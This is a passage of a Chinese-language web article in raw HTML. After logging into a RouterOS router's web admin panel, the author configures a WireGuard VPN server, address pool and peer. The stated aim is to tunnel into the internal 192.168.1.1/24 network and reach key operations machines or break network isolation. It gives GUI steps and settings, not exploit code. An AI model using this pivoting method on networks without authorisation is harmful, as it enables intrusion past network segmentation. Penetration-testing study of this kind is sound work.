iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过80端口访问Web，并输入账户密码进入后台后，找到IP功能点，点击Addresses，可以看到已经配置的IP地址，其中ether1是RouterOS路由操作系统分配的公网IP，而LAN是RouterOS路由操作系统管理的内网办公网段：</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="10.png" class="rich_pages wxw-img" data-ratio="0.4764930114358323" data-type="png" data-w="787" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="10.png" data-imgfileid="100002306" src="https://wechat2rss.xlab.app/img-proxy/?k=4e858222&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FeOCmtcHlOA45My7gQeD3KsaiaMXtC6SKv5Ga899lpPAwOwEibJRiaAugDp3kEckFbB8nNcnIEqske50rkpdNYXgj5QzL3M6Qfibic69QSw3Qzns8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">10.png</span></figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们的目的是要通过建立WireGuard VPN，访问192.168.1.1/24这个网段，从而拿到关键运维机器的权限或者突破网段隔离，具体路径思维导图如下：</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="11.png" class="rich_pages wxw-img" data-ratio="0.3040614709110867" data-type="png" data-w="911" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="11.png" data-imgfileid="100002310" src="https://wechat2rss.xlab.app/img-proxy/?k=0f6ee8cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FeOCmtcHlOA5dVe9AibV4lZaM5QWZv30JrPuSUgxeolfmZxlETthKsd6ZWTh0OARD1oPrsJoMhBmzVLoH6VYcxMtLvr246KercrL2effQgFpo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">11.png</span></figcaption></figure><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">3# 配置WireGuard-服务端</span></span></h3><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">那我们先要在服务端建一个WireGuard服务，在Web界面找到WireGuard功能点：</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="4.png" class="rich_pages wxw-img" data-ratio="3.121019108280255" data-type="png" data-w="157" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="4.png" data-imgfileid="100002311" src="https://wechat2rss.xlab.app/img-proxy/?k=6d4b5702&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FeOCmtcHlOA6AHO3AT4nOf4ib33xu37tk8zI46ibOt1cDFvgTjxndj781k8BOdibCVxN2a6wfwRI9HcI1eA6iaBkV03WatmQpj02OO1yzWsiaKVbE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">4.png</span></figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">点击WireGuard功能点，找到WireGuard标签页，点击Add New：</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="5.png" class="rich_pages wxw-img" data-ratio="0.4598337950138504" data-type="png" data-w="361" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="5.png" data-imgfileid="100002314" src="https://wechat2rss.xlab.app/img-proxy/?k=dba44fe8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FeOCmtcHlOA4cQB5nKEAdBq9JQ9BGezWouC28T2TA2Q3jyrSnv0L4icsEoEBltUu4o6IDPdI7TBiaiacicPdPp12jQejg3H9AFqQXuiav899Gg4zE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">5.png</span></figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在弹出的新界面中，Comment随便填（相当于昵称），然后Listen Port填的就是WireGuard的监听端口，我这里填的是5120，然后点击Apply：</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="6.png" class="rich_pages wxw-img" data-ratio="0.5969664138678223" data-type="png" data-w="923" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="6.png" data-imgfileid="100002313" src="https://wechat2rss.xlab.app/img-proxy/?k=4ccba699&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FeOCmtcHlOA6rIpj961icfL9kicX4hibGWBPe6CM3hoj2tZicYsxmkzoLracMvyOsShUic6rnUyvCiaQA4LDfRyCMMI0SmdcibuwTMfyo7L1S28PtVE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">6.png</span></figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">点击完Apply后，会发现系统自动生成了Private Key和Public Key，也就是私钥和公钥，这里要将Public Key复制记录下来，而Private Key则不需要记录，记录完后点击OK：</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="7.png" class="rich_pages wxw-img" data-ratio="0.6055734190782422" data-type="png" data-w="933" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="7.png" data-imgfileid="100002312" src="https://wechat2rss.xlab.app/img-proxy/?k=4b90a031&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FeOCmtcHlOA6aLDmyhU20JicX7fftqLLYcAElAYMeCgia5QWksyY4c5820wGkib8faIsx4GcGicXp2CK8L3MwroJXE4JwRrQ1GlqsAFRufJr0f4U%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">7.png</span></figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们还要建一个IP段，用来给WireGuard VPN来分配虚拟IP，找到IP功能点，点击Addresses，点击Add New，在弹出的新界面中，Address填写10.1.1.1/24，Network填写10.1.1.1，在Interface这里选择之前创建的WireGuard（如果有多个的话需要选择对应的选项，默认是wireguard1），然后点击OK：</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="13.png" class="rich_pages wxw-img" data-ratio="1.0782608695652174" data-type="png" data-w="230" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="13.png" data-imgfileid="100002316" src="https://wechat2rss.xlab.app/img-proxy/?k=f35f9717&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FeOCmtcHlOA62HmZeMxwnWoVlTb3RasribjbtosZWTSDwZIib4GfWYEAy0qVFfibdjOq8dFcXlLNHZwy03kn5Y8Sb6hJ0GxNaibtU4VGFIF8ibDib0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">13.png</span></figcaption></figure><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="12.png" class="rich_pages wxw-img" data-ratio="0.38616352201257864" data-type="png" data-w="795" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="12.png" data-imgfileid="100002317" src="https://wechat2rss.xlab.app/img-proxy/?k=2872b5ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FeOCmtcHlOA4daCztRdCdfpIA1tzTykcoCmnmFhZQvPjGeyQiaPekcWB5oPPyGsc7NTOK33e1eFUxe7eb01EUBbVFibU8DibCTBzkxria7BuLN4k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">12.png</span></figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">接下来再回到WireGuard功能点，找到Peers标签页，点击Add New：</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="8.png" class="rich_pages wxw-img" data-ratio="0.4126506024096386" data-type="png" data-w="332" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="8.png" data-imgfileid="100002315" src="https://wechat2rss.xlab.app/img-proxy/?k=d9f3c38e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FeOCmtcHlOA5r5Tt2QcZgxkMNI5TTuibdrWKeNMMco3numkTdbDqt0uCABibmky6yuAqmYaOlRXFnEtKOEgu9puvN6gicynbmXAJmNy6exjwswc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;margin: 10px 0px 0px;padding: 0px;display: block;font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;text-align: center;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">8.png</span></figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在弹出的新界面中，Comment随便填（相当于昵称），在Interface这里选择之前创建的WireGuard（如果有多个的话需要选择对应的选项，默认是wireguard1），将上面拿到的Public Key填入，Endpoint Port就和前面填的一样写5120，Allowed Address填10.1.1.1/24和192.168.1.1/24（分别是我们VPN分配的虚拟网段和目标核心网网段），其他选择auto即可，Client DNS如果内网有DNS服务器则填内网的DNS地址，如果没有就填1.1.1.1或者其他公共DNS服务器即可，然后点击OK：</span></p><figure style="box-sizing: border-box;margin: 0px;padding: 0px;display: block;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="9.png" class="rich_pages wxw-img" data-ratio="0.9681227863046045" data-type="png" data-w="847" style="box-sizing: border-box;margin: 0px auto;padding: 0px;border: 2px solid rgb(238, 238, 238);border-radius: 6px;max-width: 100%;font-size: inherit;color: inherit;line-height: inherit;display: block;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" title="9.png" data-imgfileid="100002318" 